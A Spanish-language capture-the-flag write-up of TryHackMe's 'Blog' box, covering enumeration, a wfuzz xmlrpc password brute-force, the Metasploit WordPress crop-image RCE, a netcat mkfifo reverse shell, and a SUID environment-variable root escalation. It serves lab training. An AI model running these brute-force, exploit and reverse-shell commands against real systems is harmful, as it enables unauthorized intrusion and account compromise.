Inicio Blog - THM Writeup
Post
Cancelar

Blog - THM Writeup

image

Hoy traemos la maquina Blog de TryHackMe en donde segun su misma descripcion indica que esta usando el Sistema de Gestion de Contenido (CMS) muy conocido WordPress el cual tambien tiene una lista extensa de vulnerabilidades pasadas, tambien vemos en sus propios objetivos se nos pide enumerar la version sobre este.

Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome! Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole… In order to get the blog to work with AWS, you’ll need to add blog.thm to your /etc/hosts file.

Una vez logeados, procedemos a iniciar la maquina y agregarle 1 hora mas por si acaso, luego nos conectamos al VPN con

sudo openvpn /PATHTO/USER.ovpn

Con esto empezamos…

RECONOCIMIENTO

Hacemos un ping -c 1 IP para analizar el TTL de la respuesta a ver si se aproxima a 64 (Linux) o a 128 (Windows), vemos en este caso que es Linux.

Escaneamos los puertos abiertos con la herramienta nmap usando opciones que nos aumentaran en cierta medida la velocidad de escaneo:

nmap -p- -sS --open --min-rate=600 -vvv -n -Pn -oN puertos.txt 10.10.193.129 image

Con esto vemos todos los puertos TCP -p-, utilizamos un escaneo del tipo TCP SYN Scan, usamos solo listar puertos --open, aumentamos la cantidad minima de paquetes a enviar por segundo con --min-rate=600 con rango entre 100-5000 dependiendo de la conexion existente, con maxima verbosidad -vvv, sin resolucion DNS -n, desactivando el Host Discovery con -Pn y guardando un archivo -oN puertos.txt

Lanzamos scripts basicos de enumeracion con -sC y deteccion de version -sV para los puertos que se encontraron abiertos, con salida al archivo version.txt.

nmap -sC -sV 10.10.193.129 -oN version.txt image

Encontramos un puerto ssh 22 con el que no podremos hacer mucho si no tenemos credenciales de acceso, un puerto http 80 utilizando el CMS con su version y con esto podriamos responder los primeros objetivos de la maquina, y tambien un servicio smb 139,445 que al parecer podemos acceder como invitado.

Empezaremos con este puerto smb haciendo un listado de los recursos compartidos por red con smbclient -L 10.10.56.100 -N para listar con -L y elegir no usar clave de acceso con -N image

Vemos un recurso llamado BillySMB que es sospechoso segun la descripcion de la maquina, asi que procedemos a abrirlo y copiarnos todo el contenido: image

Usamos prompt para evitar preguntar confirmacion y nos copiamos todo con mget * multiget?

A partir de ahi revisamos los archivos pero no encontramos mucho. Al usar steghide vemos que en la imagen Alice-White-Rabbit.jpg existe informacion pero al extraerla nos topamos con un buen rabbit hole que se advertia desde un principio… image

Asi que al no ver nada interesante, nos centramos en la pagina web, al abrirla vemos un Blog en Wordpress comun, con un par de publicaciones, de las cuales si vemos los autores tenemos dos posibles usuarios de la pagina que son bjoel,kwheel, intentamos logearnos con claves por defecto en el apartado de Login que encontramos en el sitio pero no logramos entrar.

Podriamos intentar hacer fuzzing para encontrar rutas y archivos de la pagina, sin embargo notamos un problema de conexion al mandar muchos paquetes, asi que podemos ir manualmente enumerando un poco el WordPress.

Podemos validar si existen mas usuarios posibles usando una ruta tipica de WordPress en /wp-json/wp/v2/users, aca encontramos efectivamente un texto en formato JSON con cierta informacion: image

Podemos hacer uso de la herramienta jq con la cual si pasamos un echo 'TEXTOJSON' | jq ".[] | .slug" | tr -d '"' podemos obtener el campo slug del formato JSON y verificamos que solo existen los usuarios bjoel,kwheel que identificamos antes.

Seguimos enumerando y encontramos que efectivamente existe el archivo /xmlrpc.php debido a que si hacemos peticion usando burpsuite o curl obtenemos respuesta positiva desde el lado del servidor, aunque pone lo siguiente:

XML-RPC server accepts POST requests only.

Pues lo unico que debemos hacer aca para poder enumerar ciertas cosas con esta API, podemos hacer uso de burpsuite donde activamos el proxy, interceptamos una actualizacion de esta pagina, nos mandamos la peticion a la opcion Repeater, damos 2do Click y usamos Change request Method para cambiar la peticion a POST, y luego ya solo queda modificar el cuerpo de la peticion, por ejemplo podemos mostrar los metodos disponibles a llamar con:

1
2
3
4
5
<methodCall>
 <methodName>
  system.listMethods
 </methodName>
</methodCall>

image

ESCANEO

Vemos de ultimo en la lista que tenemos disponible el metodo wp.getUsersBlogs con el cual podremos utilizarlo para probar por fuera bruta bruteforce las claves de estos dos usuarios que nos encontramos. Para esto existen diferentes maneras, tenemos burpsuite que con licencia pro hace funcion de Intruder por hilos, tenemos wpscan que tambien tiene un modulo de fuerza bruta, tambien podriamos hacer uso de herramientas de fuzzing como wfuzz, o incluso desde un script en bash usando el paquete curl, sin embargo vemos que esta maquina es altamente susceptible a DoS si se envian muchas peticiones, asi que en este caso tiraremos de wfuzz sin agregar muchos hilos usando lo siguiente:

La peticion que se debe enviar para probar una clave es esta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<methodCall>
 <methodName>
  wp.getUsersBlogs
 </methodName>
  <params>
   <param>
    <value>
     user
    </value>
   </param>
   <param>
    <value>
     password
    </value>
   </param>
  </params>	
</methodCall>

Como usuarios, tenemos que crear un archivo que en cada linea tenga un usuario para bjoel, kwheel en un archivo users.txt y como claves usaremos las primeras 5000 claves del archivo rockyou.txt las cuales extraemos con head -n 5000 /usr/share/wordlists/rockyou.txt > dict.txt y una vez tengamos esto usaremos la siguiente instruccion para wfuzz

1
wfuzz -c --hh=403 -w dict.txt -w users.txt -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>FUZ2Z</value></param><param><value>FUZZ</value></param></params></methodCall>" http://blog.thm/xmlrpc.php

Con esto usaremos formato -colorizado, escondemos las respuestas con 403 caracteres (si se quita este comando, apareceran todas las solicitudes con claves incorrectas, usamos este filtro para eliminar esas respuestas especificas), usamos el diccionario -w dict.txt de primero para iterar 1 clave con dos usuarios, y luego el diccionario de -w users.txt, si lo ponemos en orden inverso pues iteraria 1 usuario con todas las claves, y nosotros queremos probar cada clave con cada usuario para agilizar tiempo, luego con -d pasamos la POST data de la peticion xml en una sola linea, poniendo FUZ2Z donde irian nuestro user.txt, y ponemos FUZZ donde irian las claves, y finalmente la URL de peticion, con esto encontramos la clave para kwheel: image

Una vez tenemos esta clave, podemos probar logearnos en la misma pagina, pero vemos que no tenemos permisos de administrador asi que no podremos hacer mucho, sin embargo existen exploits que requieren de autenticacion inicial para funcionar, por ello vemos si existe algun exploit para la version actual de wordpress con searchsploit wordpress 5.0 y vemos ciertos exploits, pero en este caso nos enfocaremos en el llamado WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit) que es el que aparenta estar operativo. Al ser de Metasploit debemos lanzar el entorno del mismo con msfconsole y esperamos que se active la consola con mucha paciencia.

Una vez aca podemos buscar el mismo exploit con search wordpress 5.0 y anotamos el nombre, enviamos use exploit/multi/http/wp_crop_rce y luego debemos completar las opciones del exploit con options, a partir de ahi seteamos el LHOST, LPORT, RHOSTS, USERNAME y PASSWORD con set LHOST 10.8.33.130 por ejemplo: image image

Ya con todo configurado, procemos a escribir exploit y darle enter: image

Aca ya tenemos ejecucion de comandos de manera remota con el servidor y logramos el acceso inicial, seguimos con la siguiente fase…

ESCALADA DE PRIVILEGIOS

Hemos obtenido acceso con una consola del tipo meterpreter, pero a modo de comodidad pasamos a crearnos una reverse shell con nc como estamos acostumbramos, para ello escribimos shell en meterpreter para ejecutar una consola de sistema operativo, luego nos ponemos en escucha por otra ventana de bash con sudo nc -nvlp 443 y desde la consola del sistema remoto usamos el siguiente metodo de reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.33.130 443 >/tmp/f

Una vez obtenemos esta consola remota de bash, lo primero que podemos hacer es obtener una consola mas interactiva haciendo uso de una serie de pasos que se explican a continuacion:

  • script /dev/null -c bash
  • En teclado Ctrl + Z
  • stty raw -echo; fg
  • Escribir reset aunque no se vea
  • xterm en Terminal Type
  • export SHELL=bash
  • export TERM=xterm

Ya con esto tenemos una consola interactiva con la cual procedemos a seguir investigando en como ganar privilegios de root.

Podemos intentar obtener la flag de user.txt que la encontramos en /home/bjoel/user.txt pero nos topamos con que es una burla y no se encuentra alli, vemos un archivo PDF que es una carta de despido para Billy indicando que usaba dispositivos USB lo cual no estaba permitido en esa empresa.

Si seguimos buscando formas de obtener credenciales elevadas, al usar find / -perm -4000 2>/dev/null para ver los binarios con SUID, notamos que hay uno que sobresale de la lista, pues esta en una carpeta donde no hay otros binarios SUID, en /usr/sbin/checker, al ejecutarlo solo nos dice que somos admin, pero si usamos ltrace para ejecutarlo vemos que hace uso de la funcion getenv() lo cual intenta buscar una variable de entorno llamada admin: image

Probamos hacer export admin='test' y ejecutamos el binario de nuevo y efectivamente ya tenemos acceso root, de aca buscamos donde esta la flag user.txt y leemos la flag de root.txt y concluimos con esta maquina: image

Saludos!

Este post esta bajo la licencia CC BY 4.0 por el autor.